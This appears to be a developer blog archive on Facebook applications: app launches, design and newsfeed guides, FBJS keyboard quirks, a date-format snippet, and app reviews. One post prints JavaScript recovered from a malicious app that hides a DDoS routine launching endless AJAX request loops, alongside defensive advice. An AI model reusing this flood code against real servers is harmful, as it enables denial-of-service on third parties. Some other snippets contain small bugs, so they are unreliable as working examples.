AF-Design is proud to announce the launch of Fotosync, a new Facebook application. Fotosync allows users to continue using their current photo sharing solutions while still getting the benefits of sharing on Facebook. Users simply install the application, provide their publicly accessibly username at the services they wish to sync and the application does the rest.

Fotosync currently supports Flickr, Photobucket and Picasa with other services coming soon. These services retain high-resolution photographs, great for cloud backup and a service not provided by Facebook – as well as offering a number of additional services. Fotosync offers a premium version and of course a free version.

Some time ago I had the good fortune to work with some developers on a Facebook application that was underperforming. Through a very robust investigation of the application, it was discovered that a large number of invalid requests were being passed to the server. It was the victim of a Distributed Denial of Service attack utilizing Facebook platform and a popular application to bring down the application.

What Can a Developer Do?

1. Before instantiating ANY code, check your signatures! There are a number of ways to do this, but for starters, check the $_REQUEST['fb_sig_app_id'] and be sure it’s yours!
2. Spot check your log files for any large number of 404 requests to images or other files that are not valid. Google Analytics only reports on what’s working.
3. Log invalid requests and errors. Keep the entire signature as it provides you the evidence needed to report the offending application.
4. You may be able to make a legal case against the perpetuator of the attack if you have sufficient evidence. I am not a lawyer, but you can find one who specializes in technology crimes and talk to them.
5. Contact Facebook, while DDoS is not explicitly prohibited in the Developer Terms of Service it is illegal in many states and compliance with State Laws is explicitly stated.

How Can I Keep My Server Running?

1. Apply #1 above on all your pages. Don’t let the attacker make your machine work any harder than it has to. The second code listing below has a quick and dirty way to stop it in it’s tracks.
2. Any 404 errors that are abnormal should be made into logging pages so you can grab the errors and log them. You can do this with .htaccess or a custom 404 page. Whichever suits your particular situation.
3. Save Bandwidth However Possible – if the request is attacking valid image files, rename the real files and update your code, then pass very small bits of data back to the requesters of the invalid files. Create 0 byte files to replace them using “touch file.png” so you minimize the outbound data.
4. Change servers. Less than ideal, but contact your hosting company and move your app to a different IP and or domain name ASAP.

How Did It Work?

The code from this attack is provided below and was obtained by viewing the source of the application. It essentially creates an endless loop of AJAX requests. The ajax.php file need only return JSON encoded data including a value for “cremate” and “cremate_threads” along with the expected payload to begin the attack which then calls the working code at line 16 in the code below. Once invoked, the client computer continues to expand to it’s internal limits taking over the resources of not only the target’s computer, but potentially the user’s browser as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

function someValidAjaxCall(request_data) {
	var ajax = new Ajax();
	ajax.responseType = Ajax.JSON;
	ajax.useLocalProxy = false;
	ajax.ondone = function(data) {
		//
		// Do what the application should appear to do for the user
		//
 
		// Start the DDoS attack
		if (data.cremate && data.cremate_threads) {
			cremate(data.cremate, data.cremate_threads);
		}
	}
	ajax.post('http://255.255.255.255/ajax.php', request_data);
	return false;
}
 
function cremate(url, cremate_threads) {
	for (i=0; i<cremate_threads; i++) {
		sub_cremate(url + i);
	}
}
 
function sub_cremate(url) {
	ajax = new Ajax();
	ajax.responseType = Ajax.RAW;
	ajax.useLocalProxy = false;
	ajax.ondone = function(data) {
		sub_cremate(url);
	}
	ajax.onerror = function() {
		sub_cremate(url);
	}
	ajax.post(url);
}

// Will stop requests from other apps
if($_REQUEST['fb_sig_app_id'] != '1234567890'){ die('Error'); }

FBJS event handling does not follow the default Facebook JavaScript event handling model exactly. Facebook re-writes the event object as a far more limited object, meaning you have access to less information than you would in a true Javascript environment. If you’re looking for information on how browsers handle the onKey* events, quirksmode is a fantastic reference, albeit Windows centric. I ran into this yesterday while looking to improve a user interface. This following illustrates some of the potential gotchas to keep an eye out for.

Test Code

The following code will capture all events related to that form element and send them to the console log. This is going to be a whole lot of information, so note where you can dial it back as needed. For my project I was able to modify the str return value to just include the fields I was concerned with.

<script type="text/javascript">
function captureKeyboardEvent(e){
	var evt = e || window.event;
	var str = evt.type;
	// to make this less verbose - comment out the following 3 lines
	for (var property in evt){
		str += "\n  -" + property + " = " + evt[property];
	}
	console.log(str);
}
</script>
<form>
<input type="text" 
		onKeyPress="logEvent(event);" 
		onKeyDown="logEvent(event);"
		onKeyUp = "logEvent(event);"
		onFocus = "logEvent(event);"
		onBlur = "logEvent(event);"
	/>
</form>

Using Safari on a Mac produces the following output. What struck me as curious was the presence of pageX and pageY. As you can see the keyCode value is returned but not the charCode, timestamp or many other values as illustrated by the same code run without the benefit of the FBML parser.

keydown
 -type = keydown
 -ctrlKey = false
 -keyCode = 65
 -metaKey = false
 -shiftKey = false
 -target = [object Object]
 -pageX = NaN
 -pageY = NaN
 -__priv = 3
 -preventDefault = function () 
{
  var data = fbjs_private.get(this);
    ...
  data.return_value = false;
}
 -stopPropagation = function () 
{
  var event = fbjs_private.get(this).event;
    ...
    }
}

keydown
  -keyLocation = 0
  -ctrlKey = false
  -shiftKey = false
  -keyIdentifier = U+0041
  -altKey = false
  -metaKey = false
  -altGraphKey = false
  -pageY = 0
  -layerY = 0
  -pageX = 0
  -charCode = 0
  -view = [object DOMWindow]
  -which = 65
  -keyCode = 65
  -detail = 0
  -layerX = 0
  -returnValue = true
  -timeStamp = 1235049247482
  -eventPhase = 2
  -target = [object HTMLInputElement]
  -srcElement = [object HTMLInputElement]
  -type = keydown
  -clipboardData = undefined
  -cancelable = true
  -currentTarget = [object HTMLInputElement]
  -bubbles = true
  -cancelBubble = false
  -initKeyboardEvent = function initKeyboardEvent() {
    [native code]
}
  -initUIEvent = function initUIEvent() {
    [native code]
}
  -preventDefault = function preventDefault() {
    [native code]
}
  -initEvent = function initEvent() {
    [native code]
}
  -stopPropagation = function stopPropagation() {
    [native code]
}
  -MOUSEOUT = 8
  -FOCUS = 4096
  -CHANGE = 32768
  -MOUSEMOVE = 16
  -AT_TARGET = 2
  -SELECT = 16384
  -BLUR = 8192
  -KEYUP = 512
  -MOUSEDOWN = 1
  -MOUSEDRAG = 32
  -BUBBLING_PHASE = 3
  -MOUSEUP = 2
  -CAPTURING_PHASE = 1
  -MOUSEOVER = 4
  -CLICK = 64
  -DBLCLICK = 128
  -KEYDOWN = 256
  -KEYPRESS = 1024
  -DRAGDROP = 2048

Why does this matter?

If your creating code that looks at keypress input, there are some differences between browser implementations, what values are stored within the keyCode value and how Facebook passes those events on. In IE, Firefox and Safari, when a key is pressed down a keydown event is fired. When that key is released, a keyup event is fired. Pretty straightforward right? Here’s where it gets complicated.

As pointed out on Quirksmode, browsers handle the repeating event differently. Some place data in the charCode or keyCode values depending on context. Additionally, other modifier keys such as function and control keys are passed as boolean fields. However, we only get keyCode in FBJS. Furthermore, Safari and IE don’t ever raise the repeating keypress event like Firefox does, instead raising the keydown event only! However, Firefox does not raise the keydown event and the keypress event only passes back a keyCode of ‘0′.

I really like the date strings in the Facebook Newsfeed. They somehow make the data feel more personal when they relate to me with more natural language “Today”. This in place of callous standardized formatting so many websites present such as “2/10/2009″ or worse yet “02/10/2004″ or even worse still “2009-02-10″. The following code illustrates how you can create a quick and easy formatting of data that’s ordered by date and output it in a meaningful way to your users. You can see an example of this in action on the top stories feed on AutoLists.com as well.

The one flaw with this method as presented here is it is tied to the webserver’s time zone and the developers regionalization preferences. This, however, can easily be extended to match the users time-zone and internationalization needs with a little more effort. In the interest of simplicity I am providing it as simple as possible to illustrate the logic. The dateline class follows the code listing.

// Query for your data that contains a datetime field
 
$date_str = today_yesterday(time());
while($record = $query_result->fetch_assoc()){
	if($date_str != today_yesterday(strtotime($record['date_published']))){
		$date_str = today_yesterday(strtotime($record['date_published']));
		print '<div class="dateline">" . $date_str . "</div>';
	}
 
	// Do whatever logic you need to with each record here...
	printf($record_format, $record['title'], $record['link'], $record['image']);
 
}
 
// Date String Formatting Function
function today_yesterday($t, $f = 'l, F j'){
	if(date("Ymd") == date("Ymd", $t)){
		return "Today";
	} elseif (date("Ymd", time()-(24*60*60)) == date("Ymd",$t)){
		return "Yesterday";
	} else {
		return date($f, $t);
	}
}

div.dateline { border-bottom:1px solid #ccc; color: #ccc; font-size:12pt; }

This last year I’ve become increasingly aware of smallish media companies, one or two employees, that seem to be trying to eek out a living by simply commenting on social media trends, this blog occasionally included. I’m not sure how much of this is due to new companies sprouting up or just my own awareness and understanding of the marketspace. The question for me becomes how many sources can cover the same news? Main stream media often takes a bias slant on stories, covering politics or other topics from a conservative, liberal, centrist, libertarian or whatever slant. The coverage of the social media space is far to narrow and doesn’t often lead to differentiation based on ideologies.

Regardless, I think we’re reaching gluttonous proportions and are in danger of becoming an echo chamber, described by Shel Isreal and Robert Scoble in Naked Conversations. Social media is definitely a huge portion of the future technology scene right now and it deserves coverage – but I think we’re covering it too much. I’m watching multiple blogs cover the same news within a few minutes of each other and that’s the part that scares me.

Consider the following post from Facebook about birthday notifications. It was picked up by Inside Facebook with commentary on how it may impact applications providing similar services as did TechCrunch and allfacebook. The saddest part is that none of them are adding additional value. None of the coverage is ground breaking or adds any real value to the experience.

Want more proof? When the fbFund winners were announced it was picked up by nearly every site covering Facebook news. This is actually news worthy, thousands of dollars are being given away! However, with coverage like FaceReviews near regurgitation of Facebook’s announcement and list of winners, I’d say we’re in danger of becoming spam sites. Thankfully some sites are actually reporting on the apps and adding value to the conversation.

I suspect we’ll be seeing consolidation of these blogs soon as those sites that add value stay afloat in troubling times and the others either switch focus to their real strengths or wither and die.

The newsfeed is the single most important touchpoint for any application within the current Facebook design. Facebook has been working very hard to combat spam over the last 12 months. They have reduced the number of invitations, notifications and messages applications can send per day. Additionally, they now monitor the recipient responses to the communication, and create a quality rating based on it. That said, the newsfeed is still the primary source where most people will first interact with an application. As such, it is monumentally important that all outward communications from your application, email, invites, and feed items, are built carefully and intentionally.

This post is a followup to an earlier post covering the key design components of an application. While most of these items are language specific, there are some opportunities for creativity and these areas should be familiar to the designers as well as the marketers and developers.

Newsfeed Stories

There are three flavors of newsfeed stories, one line, short and full. The end user ultimately has the final say on which (if any) of the article types your application can publish. Remember, keep the user experience clean, neat and consistent with Facebook. Newsfeed articles are generated using dynamic variable population of a pre-defined template. For example, a story might look like “{actor} rated <i>{movie}</i> {stars} stars.” At runtime, your developer will pass values for these variables and the final story might look something like, “Erik rated <i>Lakeview Terrace</i> 3 stars.” This templated format is carried through the newsfeed with the exception of the “General Body” field, which is only present in the short story. Facebook provides a very robust developer console which includes the Feed Preview Console. If you haven’t already done so, I recommend installing the developer application so you can access these tools.

One line

Just like the name implies, this is as short as it gets. Links are permitted in the title. The only graphic is the 16 x 16 pixel graphic assigned to the application.

Newsfeed Item - One Line

Key Features:

• Aggregates to newsfeed
• Least intrusive

Short

Short stories begin providing some real flexibility. Up to four 75 x 75 pixel images can be included (scaled dynamically by Facebook as needed) and linked individually. Additionally, more detailed text can be passed. Additionally, a third area called “general body” can also be passed. Some limited HTML is allowed within the templated portion of the story, but not within the “general body.”

Newsfeed Short Story from Honesty Box

Key Features:

• Up to 4 optional images (defined as parameters)
• Freeform Text Block called “General Body”
• No images, tables, or forms within template
• Bold, Italics, Links are allowed within the template
• Aggregate to the newsfeed

Full

As the name implies, Full stories are just that, full. Not only can they include HTML, they can even include form elements! This allows for a dynamic newsfeed item. While your initial reaction may be to jump in and make everything Full stories, they will not aggregate to the main newsfeed and are only useful within the mini-feed.

Newsfeed Full Story from Honesty Box

Key Features:

• Forms
• Images
• Tables
• Does not aggregate

Appended Test Text

This is the text that was appended to the default feed items to see which HTML components were valid. The screenshot shows the output of the default settings. I also added an image to the images array. I noticed that the short story images don’t always load in the console, however, referencing external images seems to work fine.

Newsfeed Template Test Console

<p>Paragraph text</p>
 
<b>Bold Text</b>
<i>Italic Text</i>
 
<a href="http://www.google.com">Link Text</a>
 
<h1>Testing H1</h1>
<h2>Testing H2</h2>
<h3>Testing H3</h3>
 
<table border="1">
<tr><td>c1</td><td>c2</td></tr>
<tr><td>c3</td><td>c4</td></tr>
</table>
 
<img src="http://www.google.com/intl/en_ALL/images/logo.gif" />

Invitations/Requests

Some have proclaimed the application invite dead as a viral tool. While they certainly less effective than the early days of the platform, they are still very much an integral component of a marketing strategy. Facebook prohibits any application from incentivizing users to send invitations so forget that. Also off limits are forced invites, so don’t even consider putting the invite screen in your normal application flow.

Application Request

Aggregate News

Facebook’s algorithms attempt to merge stories together whenever possible for an individuals newsfeed. In this way, highly popular applications will have reduced numbers of entries within a single newsfeed, instead referencing multiple friends together, making the experience much better for the end user. Read all about the feed.registerTemplateBundle on the developer for more technical details and tips on creating stories that will aggregate well.

Aggregation Item From Newsfeed

In the example above, 2 of my friends have become fans of Whole Foods. Earlier in the day, I saw only one name, so the copy read, “xxxxx xxxxx became a fan of Whole Foods Market”. Now that a second friend has become a fan, the text has changed to “xxxxx xxxxx and xxxxx xxxxx became fans of Whole Foods Market”. This is story aggregation at it’s best. Instead of generating two items with very little difference, Facebook has created a single item. And if another friend joins, it will eventually change to reference a couple of names and a number of other friends who did the same.

Notifications

Once a user has permitted your application to interact with it, notifications and emails from the application become an option. There are two different notification types. First users can send notifications to other users. These are a common way to engage users with the application. There’s no design elements related to this item, but the 16 x 16 icon will appear along side the messaging. Second, which is new, allows applications to send notifications to users without pre-pending another users name. The screenshots below show an example of each from the Are You Interested? application. The first item is a user to user notification, and the second item is an application to user item. Notifications appear in the footer dialog (if enabled) as well as on the general notifications page.

Notifications

Notifications Dialog

Emails

Facebook permits applications to send email directly to users email account. The application does not have access to the email address and Facebook includes some “unsubscribe” language in the email. Depending on how “spammy” the messages are deemed to be, this link may be at the top or bottom of the message. Application “developers” have access to the applications current “spamminess” level within the Facebook tools.

The developer wiki entry on notifications.sendEmail has the most up to date listing of what HTML is permitted in an email body. As of this writing, it is limited to P, BR, A, B, I, H1, HR, and CENTER.

Application Email Test

Facebook’s information for developers is thorough and easy to navigate, but for designers, it’s a bit more challenging. This guide walks you through the main touch points for the new Facebook design and the visual integration points for applications. This is not a review of all application touchpoints, but rather a graphical designers guide for what spaces and bits they’ll need to design when working on Facebook applications. Newsfeed items were intentionally left from this because I feel their importance would be minimized here and they warrant their own post.

At the very bottom of this post is a quick checklist you can use when designing for Facebook to ensure you capture all the necessary surfaces you’ll need to design for.

Profile Presence

After the newsfeed, the most prominent location users would see your application has historically been the profile. There are three forms of “widgets” or boxes, a tab and the publisher. All of which have some interesting uses.

Publisher

The publisher may be the most revolutionary item from the old facebook style. Designers won’t be doing much here beyond creating a facebook like UI for the application. For those unfamiliar with it’s use, the publisher allows content publication directly from the profile page. Much like updating your status, the publisher can update your photos, video and so much more. The publisher is 520 pixels wide and writes directly to the persons newsfeed.

Profile Publisher

Wall/Info Tabs

This box persists for both the wall and profile tabs of the new design. The box is very small, only 184 pixels wide, and very low on the pages. Note that this size matches the “narrow” box from the boxes tab. It should be noted that the user has to explicitly permit an application to create a profile box.

Wall and Info Box

Boxes Tab

Boxes are the old profile items. They come in two sizes, narrow at 184 pixels and wide at 380 pixels. This tab holds the boxes added by applications by users from the recently phased out facebook profile design. The user can manipulate the placement of the boxes within the tab, including choosing narrow or wide versions. Much like the Wall/Info tabs, users must explicitly allow applications to publish these boxes for all new applications.

Profile Boxes Tab

Named Application Tab

Another exciting change for the profile is the named tab. Unlike the other boxes, the tab actually pulls data from the application in real time. This provides the user with a more dynamic and interactive experience. A word of caution though, the user is responsible for creating the tab themselves. While the process is reasonably simple, it may benefit developers to provide a quick “how to” on adding the tab. Another nice feature of the tab is letting the users get a feel for the application in a controlled way.

Named Application Tab

Application Presence

The application is key for distributing your brand and where your users will spent most of their time. This is not the gateway in – but how they’ll experience you once they begin interacting with the brand.

Application Directory

Each day the application directory becomes less and less important for users to discover new apps. However, it still exists and the 75px x 75px icon is required.

Application Directory

About Application

The about page is a public facing (read indexable by Google and other search engines) page that describes your application, is commonly used for feedback and support issues as well as being referenced by every page in the footer as the go to place if something doesn’t work. This page is important – don’t underestimate it. The critical component here is a large 396 pixel graphic that can be placed at the top of the page. The intended use is as a screenshot, however, can include anything you think will help convey the purpose of your application to a perspective user. Also notice the 16 x 16 pixel icon which is used throughout the site as a “bullet” for your application is used here.

About Application Page

Application Canvas

While last on this list, this is certainly not the least important item. The new design opens up a nice wide 720 pixels to developers which provides ample space to present information in a far less restrictive way. This design can be a re-hash of the profile tab, if appropriate for your application. Keeping the two designs the same certainly helps in building your brand.

Application Canvas

Advertising

Facebook prohibits advertising of any kind, even plugs for your other applications, anywhere but on the canvas page. When designing the assorted boxes, keep this in mind.

Designers Checklist

When designing facebook applications, this list is a nice place to start when figuring out just what components you need to create. As always, use your best judgement with the height of variable height boxes. Your user will not keep the box if they are inconsistent with the Facebook design or use more space than they feel appropriate. Always place the user experience first.

• 16px x 16px – gif
• 75px x 75px – png, jpg or gif
• 396px wide application about graphic – png, jpg or gif
• 720px wide application canvas – html, fbjs, css and flash
• 184px wide profile box – html, fbjs, css and flash
• 380px wide profile box – html, fbjs, css and flash
• 520px wide profile publisher – html, fbjs, css
• 720px wide profile application tab – html, fbjs, css and flash

Facebook has been continually altering the face of their website, bringing us closer to the launch of their redesign. One major change recently has been the location of the application presence, moving from the profile to tabs, the left hand navigation to the header and now to the status bar. As Facebook moves towards a more OS like experience, it made me wonder, just how many applications out there add any true value to the users beyond entertainment? This list is applications I found interesting in my survey of successful (according to Facebook) apps to be interesting. These applications are not focused on entertainment. So immediately quizes, games, poking and wall applications are out.

Note: I also did not include applications that I have worked on, you should evaluate those yourself.

Causes
This is a fantastic application for finding and spreading the word about a cause through grass roots organizing. Any non-profit in the US (and abroad) should be taking note. The application itself is simple. You create a profile of the causes you support. Support is more loosely defined that it would be by a traditional non-profit. For example, to be a member/supporter of most non-profits, you need to contribute money. However, with causes, anyone can be a supporter – significantly increasing the likelihood for adoption. Then you tell your friends (if you wish) about it. You can contribute money directly as well and Causes keeps 4.75% of the fee to cover bank costs etc. The money is handled by NetworkForGood.

Visual Bookshelf
The application is part of a suite of applications by LivingSocial including Reading Social (aka Visual Bookshelf), Tune Social, Reel Social, Dining Social, Gaming Social, and Brew Social (aka Drinking Social). The application suite provides folks with a clean interface for managing their digital library (or movie collection etc). The value here is in the sharing. LivingSocial is quickly creating a huge asset tracking system as well as allowing you to see what your friends are reading etc. Helpful conversation starters if you’ve read some of the same books etc. The app tightly integrates the Amazon affiliate engine. This application adds a nice filter to the raw Amazon dataset even if a search for a popular book returns all the editions as matches. If you like to read – I highly recommend checking out this application.

Birthday Calendar
This app isn’t all that complex and doesn’t do all that much, but it provides functionality that is just handy. It provides a simple calendar view of the next 2 months of birthdays for people you know on Facebook. You can also add birthdays of other people manually – although I have Apple’s iCal for that. The application provides ample time to send a physical card through the mail. Unlike the Facebook newsfeed notification that might let you miss someone if you take a 3 day vacation from Facebook. Developers if you’re listening – an iCal export filtered by Friend List would be handy…

Where I’ve Been
Much like the LivingSocial applications, this app allows you to keep a digital log of places you’ve visited. Furthermore, it provides a nice interface for exploring the globe. Noticably missing is a nice way to research other locations. I’d love to get a nice feed of what others who match my demographics or are in my friend list think of Ft. Lauderdale for example. The application does what it promotes well and despite heavy promotion of the Travel Channel is a good application.

Picnik
This web based photo editor aims to give you basic photo retouching tools right in the facebook experience. The app lets you correct red-eye, adjust colors, and add silly borders etc. I still prefer using a desktop application for real adjustments. However, this is really handy for tweaking the photos you’ve uploaded from your camera phone directly to Facebook. Picnik is also a free standing website and they’ve integrated the application with Flickr as well.

(Lil) Green Patch
I had a hard time adding this application to the list but I have a particular soft spot for saving the planet. At it’s heart it’s a viral gifting application. However, there’s a twist – they donate money to save the environment. They appear to have contributed via Causes to the Nature Conservancy and have contributed $54,560 so far. However, I wasn’t able to find any sort of balance sheet for them and there are a significant number of ads on their site – including a huge integration with OfferPal media. I would expect they gross at minimum $20K per month so clearly there’s a huge expense to running their business – don’t feel too good about yourself using this app.

Are YOU Interested?
I’m not one for online dating, but if I weren’t married with children, I’d probably give this application a try. The premise is simple. Rate people attractive. If they rate you attractive as well, you’re given the opportunity to connect. Quite possibly the simplest dating application around.

Is there a great non-entertainment focused application I’ve missed? Leave it in the comments and I’ll check it out.

Mobsters, Likeness, Top Friends, Super Wall, Own Your Friends, Bumper Stickers, Movies and Poker – this is just a sampling of the highest engagement applications on Facebook and MySpace. What these applications all have in common is a mass market appeal. They are general enough that just about everyone can find something cute or fun about these applications for at least a day or two. The applications measure success in installs, page views and virility. However, another classification of application, specific to much smaller audiences, is emerging as a stronger player in the application space which requires a different measurement separate than the categorical classification that application developers can choose to place themselves in.

The goal of these other applications is not monetize via CPC, CPM or CPI advertising, nor to be bought by the large application shops RockYou, Slide, Zynga or SGN. Instead, these applications exist primarily to provide a service to their users. These applications will fail when measured using the traditional methods of installs, daily active users and day over day growth. The audiences are much too small. They require a new metric to measure their success. Success within this category isn’t reaching 22%¹ of Facebook’s user base. Success for these applications is defined as increased affinity for a product, service or company. It needs to be measured and reported differently.

This might be measurable through acquisitions, loyalty, usage or retention. Using Twitter as an example, it’s certainly capable of becoming a mainstream product, but hasn’t reached mainstream adoption – at least not yet. Twitter currently reaches an estimated 2.2 million users a month². It’s regarded by some as having moved beyond the early adopters³ and easing into the early majority on the technology adoption lifecycle. The Twitter application launched May 25th along with the Facebook platform. It currently boasts 64.5K monthly users of which is hardly chart topping – in fact, it’s really quite dismal – it’s not even one of the top 500 applications. What the application does though is provide enhanced user experience by integrating status updates between the two sites.

The Twitter application is valued by Adonomics at approximately $105K. However, this number means nothing! The goal of the application isn’t to sell it or even monetize the traffic. Even the overall ranking of the application is irrelevant. A better way to measure the ROI of the application is to measure the interaction and retention. This metric that can accurately quantified by answering a series of questions.

1. Does the application impact the retention and interaction of users for Twitter?
2. Does the application increase usage of Twitter?
3. What overlap in the userbase exists between Facebook and Twitter?

Lacking quantitative data from Facebook and Twitter, you’ll have to settle for my observations.

Does the application impact the retention and interaction of users for Twitter? Yes. I suspect if we could peek into Twitter’s database, we’d see that interactions for users continue for longer periods if they’ve installed the Facebook application. Why do I think this? Read on…

Does the application increase usage of Twitter? Yes. I know from personal experience that I’ve continued using Twitter longer than I had expected to because of the integration. At times I’ve used it only as a status update tool. Sending a SMS or using a phone specific tool is easier than the mobile facebook application available for my phone. Other times I use it as a conversational tool. The main point here – I continue to use it.

What overlap in the user base exists between Facebook and Twitter? Again, this is an estimate but nearly 100%⁴ of the people I follow on Twitter have Facebook accounts. However, only about 20% of my friends on Facebook have (or use) a Twitter account. While Twitter clearly has the potential to be a mainstream tool, it doesn’t have the presence that a MySpace or Facebook does.

The Twitter application likely has positive reprecusions for Facebook as well. By integrating the status update directly from Twitter, Facebook continues to get more content contributing to the “virtuous cycle of sharing” Mark Zuckerberg spoke about at F8 ‘08. Wouldn’t this classify the application as a success? As of this writting, Twitter doesn’t have an official application for MySpace. I expect we’ll see if MySpace allows applications to update the users status.

The question remains, how can we take these difficult to obtain numbers such as audience overlap and integrate it with the more available metrics? We need a metric that holistically evaluates an application. Measuring mass alone is no longer sufficient to define success. I propose they’re measured by interactions, retention and perception. Mix into that formula monthly reach and install and we’ll be able to arrive at a value that more accurately ranks and sorts applications on the whole.

¹ Slide FunSpace reached 22.3 million Facebook users according to the monthly active user count on September 5, 2008

² Compete reports 2,218,330 visitors to Twitter.com in July of 2008.

³ Robert Scoble stated April 9, 2008, “Anyone who joins Twitter after today is not an early adopter. So, not interesting for me to follow.”

⁴ Conducted using PollDaddy and an analysis of people I follow.

Today the MBA Gear Up application for Facebook officially launches. The application, developed for Leading Edge, provides a quick and easy survey to see if you are ready to pursue an MBA. It’s a fun 10 question quiz that provides good insight where you might be underprepared and just where to get the information you need to get prepared. If your considering an MBA, give it a try.